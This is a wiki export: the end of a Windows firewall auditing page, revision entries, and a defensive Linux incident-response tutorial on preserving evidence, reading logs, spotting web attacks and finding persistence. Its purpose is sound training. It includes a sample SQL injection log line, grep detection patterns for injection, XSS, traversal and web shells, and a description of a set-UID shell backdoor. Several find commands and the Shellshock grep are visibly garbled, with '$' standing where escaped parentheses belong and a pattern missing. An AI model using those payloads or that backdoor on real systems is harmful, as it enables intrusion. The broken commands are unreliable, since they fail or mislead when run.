<code>netsh</code> is a long standing command line tool for network configuration, and its <code>advfirewall</code> context is used specifically for the firewall. <code>netsh</code> is run from cmd.exe or PowerShell. Some useful examples:

* <code>netsh advfirewall show allprofiles</code> - shows the state and default settings of all three profiles
* <code>netsh advfirewall firewall show rule name=all</code> - lists every configured rule and its properties
* <code>netsh advfirewall set allprofiles logging droppedconnections enable</code> - turns on logging of blocked connections for all profiles

A full explanation of every <code>advfirewall</code> option is out of scope for this article, but running <code>netsh advfirewall firewall show rule name=all help</code>, or reading the documentation below, will give you a rundown of available options.

=== PowerShell (NetSecurity module) ===

PowerShell has a dedicated set of cmdlets for firewall management, found in the <code>NetSecurity</code> module. These generally follow the pattern <code>*-NetFirewall*</code>. Some of the most useful ones for auditing are:

* <code>Get-NetFirewallProfile</code> - shows the settings of each profile, including whether it's enabled and its default inbound/outbound actions
* <code>Get-NetFirewallRule</code> - lists all configured rules; can be piped to <code>Get-NetFirewallPortFilter</code> or <code>Get-NetFirewallAddressFilter</code> to see the specific ports or addresses tied to each rule
* <code>New-NetFirewallRule</code> / <code>Set-NetFirewallRule</code> - create or modify rules
* <code>Get-NetFirewallRule -Enabled True -Direction Inbound</code> - a quick way to filter down to just the active inbound rules, which is often the most important thing to check during an audit

As with any PowerShell cmdlet, you can run <code>Get-Help [command] -Full</code> for detailed usage and examples.

-----

=== References, Further Reading ===

* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall
* https://learn.microsoft.com/en-us/powershell/module/netsecurity/
* https://downloads.cisecurity.org/
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/best-practices-configuring

[[Category:Windows Firewall|018]]
[[Category:Migrated from cypat.guide]]

Firewall Auditing

2026-10-02T03:52:28Z

FlyingShrimps: Approved by FlyingShrimps: removing the submission notice and Pending review category

Firewall Auditing

2026-10-02T03:47:14Z

FlyingShrimps: FlyingShrimps moved page Draft:Firewall Auditing - Beginner to Firewall Auditing without leaving a redirect: Later on maybe add more citations/references but for now it's good.

Firewall Auditing

2026-10-02T03:47:14Z

FlyingShrimps: Approved by FlyingShrimps: removing the submission notice and Pending review category

Attack Analysis

2026-09-24T22:21:53Z

FlyingShrimps:

<br />
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]

|}

'''Attack analysis''' is the work you do ''after'' something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

Everything here is written from a blue team's point of view.

== Ground rules ==

* '''Only analyze systems you own or are explicitly authorized to examine.''' Reading other people's logs and files without permission is not "just looking," and may be illegal.
* '''Write down what you do.''' Keep a running note of every command you run and the time you ran it (in UTC). Your notes are how you (or someone else) can later tell your activity apart from the attacker's.
* '''Any indicator is a lead, but not a sign.''' A failed-login flood, an odd file in <code>/tmp</code> or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
* '''Do not trust a compromised machine to tell the truth.''' If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].
* '''Understand before you delete.''' Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
* '''Work on copies, read-only.''' Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with <code>sha256sum</code>) of each image when you make it so you can show later that it did not change.

== The analysis loop ==

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

# '''Preserve''' evidence: memory, running state and disks, before they change or disappear.
# '''Find the way in''': the initial access (a guessed password, a vulnerable web application, a stolen key).
# '''Find what they did''': commands run, files touched, accounts created, data reached, etc.
# '''Find what they left behind''': persistence/backdoors so they can come back.
# '''Look for hiding''': rootkits and log tampering.
# '''Build a timeline''' that ties the above together, and check it for gaps.
# '''Contain, clean up and harden''': only once you understand the scope.

== Three ways to examine a system ==

The same questions can be asked of a running machine, a copy of its memory, or a copy of its disk. Each has strengths and blind spots, and a thorough investigation will always use more than one.

{| class="wikitable"
! Approach !! What you get !! Watch out for
|-
| '''Live system''' (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
|-
| '''Memory image''' || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).
|-
| '''Disk image''' || Everything stored on disk: logs, configuration, user files, timestamps. Examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often hard to recover.
|}

== Where Linux keeps evidence ==

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

{| class="wikitable"
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you
|-
| Authentication and sudo || <code>/var/log/auth.log</code> || <code>/var/log/secure</code> || SSH logins (successful and failed), <code>sudo</code> and <code>su</code> use, new accounts
|-
| General system log || <code>/var/log/syslog</code> || <code>/var/log/messages</code> || Service starts and crashes, kernel messages, cron runs
|-
| systemd journal || <code>journalctl</code> || <code>journalctl</code> || The same events, indexed; the only source on systems without a syslog daemon
|-
| Login records || <code>last</code>, <code>lastb</code>, <code>lastlog</code> (read <code>/var/log/wtmp</code>, <code>btmp</code>, <code>lastlog</code>) || same || Who logged in, from where, and when; failed logins
|-
| Web server logs || <code>/var/log/apache2/</code> or <code>/var/log/nginx/</code> || <code>/var/log/httpd/</code> or <code>/var/log/nginx/</code> || Every request the web server handled (see below)
|-
| Audit framework (if installed) || <code>/var/log/audit/audit.log</code> || <code>/var/log/audit/audit.log</code> || File access, command execution and account changes, according to the rules configured
|-
| Package history || <code>/var/log/dpkg.log</code>, <code>/var/log/apt/history.log</code> || <code>dnf history</code>, <code>/var/log/dnf.log</code> || Software installed or removed, and when
|-
| Shell history || <code>~/.bash_history</code> (per user) || same || Commands a user typed (can easily be disabled or erased, so no command history doesn't always mean something has gone wrong)
|-
| Scheduled tasks || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/crontabs/</code> || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/</code> || Commands that run automatically
|}

If <code>/var/log/auth.log</code> does not exist on a newer install, the system is logging to the journal only; use <code>journalctl</code> instead.

When you examine a '''mounted disk image''' (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example <code>/mnt/data/var/log/auth.log</code>. It is easy to read your own workstation's <code>/var/log</code> by accident.

== Step 1: Preserve evidence ==

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and '''do not reboot''' the machine until you have it. Where possible, write what you collect to external storage, not the suspect disk, so you do not overwrite deleted files that might matter.

=== Live triage and volatile state ===

If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:

<syntaxhighlight lang="bash">
date -u; uptime # record the time and how long it has been up
who -a; w # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest # process tree with start times
sudo ss -tunap # all sockets with the owning process
sudo lsof -nP -i # network files, a second opinion on ss
</syntaxhighlight>

'''Collection tools.''' Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:

<syntaxhighlight lang="bash">
# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but additionally includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence
</syntaxhighlight>

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

==== Reading the process list ====

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

* '''A web server with a shell (<code>sh</code>, <code>bash</code>) or a download tool (<code>curl</code>, <code>wget</code>) as a child''' is one of the clearest single indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
* '''Programs running from the wrong place.''' System programs live under <code>/usr</code> (and third-party software under <code>/opt</code> or <code>/usr/local</code>). A program running from <code>/tmp</code>, <code>/var/tmp</code>, <code>/dev/shm</code> or someone's home directory deserves a close look.
* '''Programs running from a deleted file.''' Malware can start itself and then delete its own executable; the process keeps running, but the file is gone from the disk.
* '''Programs whose working directory is a hidden directory''' (a name starting with a dot).
* '''Orphans.''' When a parent process exits, its children are adopted by the init process (PID 1, usually <code>systemd</code>), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
* '''Disguised names.''' A process can rename itself so that <code>ps</code> shows something like <code>[kworker/3:3]</code>, which looks like a kernel thread. Real kernel threads are children of <code>kthreadd</code> (PID 2) and have no executable file.

<syntaxhighlight lang="bash">
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) really is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo
</syntaxhighlight>

'''Recovering a deleted program.''' Because the running process still holds the file open, you can copy it out of <code>/proc</code> before you kill the process, and then hash it and study it (or look it up):

<syntaxhighlight lang="bash">
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin
</syntaxhighlight>

Also note '''listening''' ports (<code>sudo ss -tulpn</code>) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

==== Where attackers stage files ====

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

* <code>/tmp</code> and <code>/var/tmp</code>: world-writable and the classic spot.
* <code>/dev/shm</code>: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. '''Look in it before you power the machine off.'''
* Hidden directories (names starting with <code>.</code>), especially ones that imitate something legitimate. For example, <code>/tmp/.ICE-unix</code> is a normal directory on Linux desktops, so a similar-looking <code>/tmp/.ICEd-unix</code> is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (<code>.. </code>) placed next to the real <code>..</code>. Learn what the legitimate ones look like on your systems.

<syntaxhighlight lang="bash">
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have many legitimate ones)
sudo find / $ -path /proc -o -path /sys -o -path /root -o -path '/home/*' $ -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls
</syntaxhighlight>

=== Capturing memory ===

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy <code>/dev/mem</code> with <code>dd</code>, but the kernel now deliberately restricts that, so you need a tool.

{| class="wikitable"
! Tool !! How it works !! Notes
|-
| [https://github.com/microsoft/avml AVML] || Reads memory through <code>/proc/kcore</code>; no kernel driver to load || Free; a single program you copy to the machine. Usually the easiest choice. Writes to a file.
|-
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine's kernel and load || Free; can write straight to the network. Also works on Android.
|-
| Commercial agents || Vendor agent brings its own driver || Useful if your organization already owns one.
|}

<syntaxhighlight lang="bash">
sudo ./avml /mnt/evidence/memory.lime
</syntaxhighlight>

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

<syntaxhighlight lang="bash">
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo
</syntaxhighlight>

Only do this over a network you trust: netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, since Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).

=== Capturing a disk ===

How you image a disk depends on where the machine lives. Stay flexible: no single method fits every case.

* '''Public cloud:''' use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
* '''Your own hypervisor:''' snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (<code>qemu-img convert</code> does this).
* '''Physical disk:''' image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as <code>ewfacquire</code> (compressed E01 files) or <code>dc3dd</code> (raw).

<syntaxhighlight lang="bash">
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log
</syntaxhighlight>

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown changes the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

== Working from a disk image ==

Linux forensic tools generally want a '''raw''' image. Common forensic formats such as E01 must be converted or exposed as raw first. On top of that, Linux disks are often built in layers, and you have to peel them back one at a time:

# '''E01 container''' (if used): expose it as a raw disk image.
# '''Partition table:''' find which partitions exist and where they start.
# '''Encryption or software RAID''' (if used): unlock or assemble it. (Not covered here; encrypted volumes need the key.)
# '''LVM''' (very common): activate the logical volumes.
# '''File system:''' mount it read-only.

<syntaxhighlight lang="bash">
sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table: what's inside? (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0 # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0 # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data
</syntaxhighlight>

Notes on the options:

* <code>ro</code> and <code>noexec</code>: even though the layers below are already read-only, use both anyway (good habits), and <code>noexec</code> stops you from accidentally running malware from the image you are investigating.
* <code>noload</code>: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check <code>dmesg | tail</code>). <code>noload</code> tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thereby modifying) anything. The trade-off is that the last few changes before the capture may not be visible. XFS uses <code>norecovery</code> instead, and often also needs <code>nouuid</code> if your workstation has a file system with the same ID.
* A partition that is not part of LVM (often <code>/boot</code>) needs no LVM step: mount it straight from the image with <code>mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot</code> (add <code>noload</code> if it complains about the journal).

Take the layers down in reverse order when you are done:

<syntaxhighlight lang="bash">
sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img # the ewfmount
</syntaxhighlight>

'''Traps when reading a mounted image:'''

* Owner names shown by <code>ls -l</code> come from '''your workstation's''' <code>/etc/passwd</code>, not the image's, so UID 1001 might display as the wrong person. Use <code>ls -ln</code> (numbers) or look up the IDs in the image's own <code>/mnt/data/etc/passwd</code>.
* Absolute symbolic links inside the image point at your own system's files, not the image's. Check with <code>readlink</code> before trusting what a link shows you.
* Most tools can read a copy of a log directly: <code>last -aiF -f /mnt/data/var/log/wtmp</code>, or <code>journalctl -D /mnt/data/var/log/journal</code> (if the system kept a persistent journal).

== Step 2: Find the way in ==

=== Remote login (SSH) ===

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were) but "did any guess succeed?"

<syntaxhighlight lang="bash">
# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7
</syntaxhighlight>

Example output (addresses here are from the reserved documentation ranges, not real hosts):

<syntaxhighlight lang="text">
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2
</syntaxhighlight>

The pattern to worry about is '''many failures, then a success, from the same address''', especially for an account that should never log in from that place. Confirm with the login records:

<syntaxhighlight lang="bash">
last -aiF | head -20 # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20 # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted" # the unit is "sshd" on RHEL-family systems
</syntaxhighlight>

Be aware that these records are easy to lose: <code>wtmp</code> is often rotated (truncated) weekly or monthly, <code>btmp</code> may not be kept at all because failed logins can contain mistyped passwords, and <code>lastlog</code>'s format varies between systems.

Success by public key leaves a different line (<code>Accepted publickey for ...</code>). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check <code>authorized_keys</code>.

=== Web applications ===

Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

<syntaxhighlight lang="text">
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"
</syntaxhighlight>

Start with the big picture, then zoom in on one address:

<syntaxhighlight lang="bash">
LOG=/var/log/apache2/access.log # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr # status code counts
grep '^198.51.100.9 ' $LOG # everything one client did
</syntaxhighlight>

Attackers usually send their payload URL-encoded (<code>%27</code> is <code>'</code>, <code>%20</code> is a space). Decode the lines you are reading:

<syntaxhighlight lang="bash">
grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'
</syntaxhighlight>

(A plain <code>+</code> in a query string can also mean a space; <code>unquote</code> leaves it alone so timestamps such as <code>+0000</code> stay readable.)

==== What common web attacks look like in the log ====

{| class="wikitable"
! Attack !! What to look for in the request !! Notes
|-
| SQL injection || <code>'</code> or <code>%27</code>, <code>UNION SELECT</code>, <code>OR 1=1</code>, <code>--</code>, or an automated-tool User-Agent such as <code>sqlmap</code> || A burst of <code>500</code> errors from one client while it probes is typical. A later run of <code>200</code> responses with unusually large sizes can mean data came back.
|-
| Cross-site scripting (XSS) || <code><script></code> or <code>%3Cscript</code>, <code>onerror=</code>, <code>javascript:</code> || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
|-
| Path traversal / file inclusion || <code>../</code>, <code>..%2f</code>, <code>%2e%2e</code>, or a path like <code>/etc/passwd</code> in a parameter || A <code>200</code> with a plausible response size means the file may have been returned.
|-
| Command injection || Shell metacharacters (<code>;</code>, <code>%3B</code>, backticks, <code>$(</code>) followed by commands like <code>wget</code>, <code>curl</code> or <code>/bin/sh</code> || Confirm with the process tree: did the web server user spawn anything?
|-
| Shellshock (CVE-2014-6271) || <code>() {</code> at the start of a header value, usually User-Agent, against a <code>/cgi-bin/</code> script || Old and long patched, but a good example: the attack rides in a header, not the URL.
|-
| Web shell upload || A POST to an upload form, then GET requests to a brand-new <code>.php</code> file in the upload directory || Look for files the application should not have created.
|-
| Scanning and reconnaissance || Many <code>404</code>s, requests for <code>/.env</code>, <code>/wp-login.php</code>, <code>/phpmyadmin</code>, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.
|}

<syntaxhighlight lang="bash">
# starting-point searches (expect some false positives; refine before you trust them)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG # path traversal
grep -E ' *\{' $LOG # Shellshock-style header
</syntaxhighlight>

'''Important limits of access logs.''' The server does not log '''POST bodies''' or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare <code>POST /login</code> line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a <code>200</code> status only means the request was served, not that the attack worked, and a <code>500</code> does not mean it failed.

==== From a request to a compromise ====

A logged attack request proves someone ''tried''. To decide whether it ''worked'', follow it into the rest of the system:

* Did a process appear in the tree, owned by the web server user (<code>www-data</code>, <code>apache</code>, <code>nginx</code>), just after the request timestamp?
* Is that process holding a network connection to an address that is not one of your users or dependencies?
* Are there new or modified files in the web root, <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code> from about the same time?
* Did the same client address go on to do anything else (a second request type, a login)?

<syntaxhighlight lang="bash">
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (noisy: review, don't assume)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php
</syntaxhighlight>

== Step 3: What did they do? ==

=== Privilege escalation and account activity ===

<syntaxhighlight lang="bash">
sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened" # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log # account changes
awk -F: '$3==0 {print $1}' /etc/passwd # accounts with UID 0: should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/
</syntaxhighlight>

A second UID-0 account, or a regular user suddenly present in <code>sudoers</code>, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as <code>www-data</code> or <code>mysql</code>) still have a non-login shell and no usable password hash in <code>/etc/shadow</code>, and that nobody has been quietly added to a privileged group in <code>/etc/group</code>.

=== Command history ===

<syntaxhighlight lang="bash">
sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history' # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'
</syntaxhighlight>

What to keep in mind about <code>.bash_history</code>:

* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the <code>bash</code> plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
* It has '''no timestamps''' by default (unless <code>HISTTIMEFORMAT</code> was set). To date a command, match it with other evidence: a log line, a file's timestamp, or a process start time. For example, a <code>useradd</code> in the history can be tied to the log entry for the new account and the modification time of <code>/etc/passwd</code>.
* It is a plain text file. Attackers can edit or delete it, clear it (<code>history -c</code>), unset <code>HISTFILE</code>, or link it to <code>/dev/null</code>. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
* An ''empty or missing'' history on an account that is otherwise active is itself worth noting.

=== Other traces users leave behind ===

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

{| class="wikitable"
! File (in the user's home directory) !! What it can show
|-
| <code>.ssh/authorized_keys</code> || Keys that can log in ''to'' this account. Any key you do not recognize is a possible back door.
|-
| <code>.ssh/known_hosts</code> || Machines this user connected ''out to'' over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
|-
| <code>.ssh/config</code> || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
|-
| <code>.lesshst</code> || Search terms typed into the <code>less</code> pager, and commands run from inside it.
|-
| <code>.viminfo</code> || Files recently edited in <code>vim</code> (with the position in each), plus its search and command history.
|-
| <code>.local/share/recently-used.xbel</code> || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
|-
| <code>.local/share/Trash/</code> || Files deleted through the desktop; the <code>info/</code> folder records where each came from.
|-
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.
|}

=== The audit framework ===

If <code>auditd</code> is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

<syntaxhighlight lang="bash">
# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i # events that matched the rule, human-readable
sudo aureport -au # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd
</syntaxhighlight>

If keystroke (TTY) auditing was enabled, <code>aureport --tty</code> can show what was typed. Auditing has to be set up ''before'' the incident; it cannot reconstruct events that were never recorded.

== Step 4: Persistence ==

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

<syntaxhighlight lang="bash">
# scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/ # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null
</syntaxhighlight>

Older systems use init scripts under <code>/etc/init*</code> instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a '''script that a legitimate task already runs'''. Look at what your scheduled tasks and services actually execute, not only at their configuration.

'''Back doors beyond start-up entries:''' a web shell in the web root; a replacement <code>sshd</code> with a built-in password; an extra UID 0 account; a service account given a password; an added <code>authorized_keys</code> line; a broadened <code>sudoers</code> entry; and the set-UID trick below.

'''Set-UID/set-GID programs.''' A program with the set-UID bit runs with its ''owner's'' privileges rather than the user's (this is how <code>passwd</code> can update <code>/etc/shadow</code>). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with <code>-p</code>, so it does not drop its privileges) is root again.

<syntaxhighlight lang="bash">
# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / $ -path /proc -o -path /sys $ -prune -o -type f $ -perm -4000 -o -perm -2000 $ ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null
</syntaxhighlight>

Compare the full list against a clean machine of the same OS, the same baseline-and-<code>diff</code> technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, and dot-prefixed directories under <code>/usr</code>, <code>/var</code> or <code>/dev</code> are all worth a closer look.

=== A post-exploitation checklist ===

{| class="wikitable"
! Check !! How
|-
| New or unexpected SSH keys || Read every <code>authorized_keys</code>. If you find one, search your other machines for the same key.
|-
| Unexpected group members || Compare <code>/etc/group</code> against what you expect, especially groups named in <code>sudoers</code>.
|-
| Unlocked service accounts || Service accounts should have <code>nologin</code> (or <code>false</code>) as their shell and no valid password hash in <code>/etc/shadow</code>.
|-
| Extra UID 0 accounts || <code>awk -F: '$3==0' /etc/passwd</code>
|-
| Edited sudo rules || Read <code>/etc/sudoers</code> and <code>/etc/sudoers.d/</code> directly.
|-
| Unauthorized set-UID bits || The <code>find</code> commands above.
|}

== Step 5: Rootkits and tampering ==

